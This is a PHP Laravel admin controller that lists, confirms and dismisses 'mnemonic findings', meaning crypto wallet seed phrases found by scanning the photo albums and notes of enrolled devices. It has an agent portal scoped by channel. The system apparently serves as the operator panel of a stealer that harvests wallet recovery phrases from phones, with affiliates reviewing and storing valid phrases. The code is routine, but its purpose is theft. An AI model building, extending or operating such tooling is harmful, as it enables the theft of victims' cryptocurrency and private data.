160 lines
6.0 KiB
PHP
160 lines
6.0 KiB
PHP
<?php
|
|
|
|
namespace App\Http\Controllers\Admin;
|
|
|
|
use App\Http\Controllers\Concerns\PortalAware;
|
|
use App\Http\Controllers\Controller;
|
|
use App\Models\MnemonicFinding;
|
|
use App\Models\User;
|
|
use App\Services\MnemonicScanService;
|
|
use App\Support\AgentScope;
|
|
use Illuminate\Database\Eloquent\Builder;
|
|
use Illuminate\Http\Request;
|
|
|
|
class MnemonicFindingController extends Controller
|
|
{
|
|
use PortalAware;
|
|
|
|
public function index(MnemonicScanService $scan)
|
|
{
|
|
$agents = $this->isAgentPortal()
|
|
? collect()
|
|
: User::query()->orderBy('username')->get(['id', 'username']);
|
|
|
|
return view('admin.findings.index', [
|
|
'portal' => $this->portal(),
|
|
'agents' => $agents,
|
|
'photoProgress' => $scan->photoProgress(),
|
|
'noteProgress' => $scan->noteProgress(),
|
|
]);
|
|
}
|
|
|
|
public function data(Request $request)
|
|
{
|
|
$q = $this->baseQuery($request);
|
|
$status = trim((string) $request->query('status', ''));
|
|
if (in_array($status, [MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::STATUS_DISMISSED], true)) {
|
|
$q->where('mnemonic_findings.status', $status);
|
|
}
|
|
$source = trim((string) $request->query('source', ''));
|
|
if (in_array($source, [MnemonicFinding::SOURCE_PHOTO, MnemonicFinding::SOURCE_NOTE], true)) {
|
|
$q->where('mnemonic_findings.source', $source);
|
|
}
|
|
|
|
$q->orderByDesc('mnemonic_findings.id');
|
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
|
$page = max(1, (int) $request->query('page', 1));
|
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
|
$portal = $this->portal();
|
|
|
|
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
|
/** @var MnemonicFinding $row */
|
|
$photoUrl = $row->photo_id
|
|
? route($portal.'.devices.photo', [$row->device_id, $row->photo_id])
|
|
: '';
|
|
|
|
return [
|
|
'id' => $row->id,
|
|
'device_key' => $row->device_key ?: '',
|
|
'channel_id' => $row->device_channel_id ?: '',
|
|
'source' => $row->source === MnemonicFinding::SOURCE_PHOTO ? '相册' : '备忘录',
|
|
'status' => $row->status,
|
|
'status_label' => MnemonicFinding::statusLabel((string) $row->status),
|
|
'candidate' => $row->candidate,
|
|
'excerpt' => mb_substr((string) $row->excerpt, 0, 160),
|
|
'word_count' => (int) $row->word_count,
|
|
'score' => (int) $row->score,
|
|
'photo_url' => $photoUrl,
|
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
|
'detail_url' => route($portal.'.devices.show', [
|
|
'device' => $row->device_id,
|
|
'tab' => $row->source === MnemonicFinding::SOURCE_PHOTO ? 'photos' : 'notes',
|
|
]),
|
|
];
|
|
})->values();
|
|
|
|
return response()->json([
|
|
'code' => 0,
|
|
'msg' => '',
|
|
'count' => $paginator->total(),
|
|
'data' => $data,
|
|
]);
|
|
}
|
|
|
|
public function confirm(Request $request, MnemonicFinding $finding, MnemonicScanService $scan)
|
|
{
|
|
if (! $this->findingInScope($finding)) {
|
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
|
}
|
|
if ($finding->status !== MnemonicFinding::STATUS_SUSPECTED) {
|
|
return response()->json(['code' => 1, 'msg' => '只有疑似记录可以确认']);
|
|
}
|
|
$candidate = $request->input('candidate');
|
|
if (! $scan->confirm($finding, $this->actorLabel(), is_string($candidate) ? $candidate : null)) {
|
|
return response()->json(['code' => 1, 'msg' => '不是合法助记词,无法确定入库']);
|
|
}
|
|
|
|
return response()->json(['code' => 0, 'msg' => 'ok']);
|
|
}
|
|
|
|
public function dismiss(MnemonicFinding $finding, MnemonicScanService $scan)
|
|
{
|
|
if (! $this->findingInScope($finding)) {
|
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
|
}
|
|
$scan->dismiss($finding, $this->actorLabel());
|
|
|
|
return response()->json(['code' => 0, 'msg' => 'ok']);
|
|
}
|
|
|
|
private function findingInScope(MnemonicFinding $finding): bool
|
|
{
|
|
$q = MnemonicFinding::query()
|
|
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
|
|
->where('mnemonic_findings.id', $finding->id);
|
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
|
|
|
return $q->exists();
|
|
}
|
|
|
|
private function actorLabel(): string
|
|
{
|
|
if ($this->isAgentPortal()) {
|
|
$user = auth('agent')->user();
|
|
|
|
return 'agent:'.((int) ($user?->id ?? 0)).'@'.(string) ($user?->username ?? '');
|
|
}
|
|
$admin = auth('admin')->user();
|
|
|
|
return 'admin:'.((int) ($admin?->id ?? 0)).'@'.(string) ($admin?->username ?? '');
|
|
}
|
|
|
|
private function baseQuery(Request $request): Builder
|
|
{
|
|
$q = MnemonicFinding::query()
|
|
->join('devices', 'devices.id', '=', 'mnemonic_findings.device_id')
|
|
->select([
|
|
'mnemonic_findings.*',
|
|
'devices.device_id as device_key',
|
|
'devices.channel_id as device_channel_id',
|
|
]);
|
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
|
$channelId = trim((string) $request->query('channel_id', ''));
|
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
|
if ($channelId !== '') {
|
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
|
}
|
|
if ($deviceKey !== '') {
|
|
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
|
}
|
|
if (! $this->isAgentPortal()) {
|
|
AgentScope::applyAgentUserFilter(
|
|
$q,
|
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
|
);
|
|
}
|
|
|
|
return $q;
|
|
}
|
|
}
|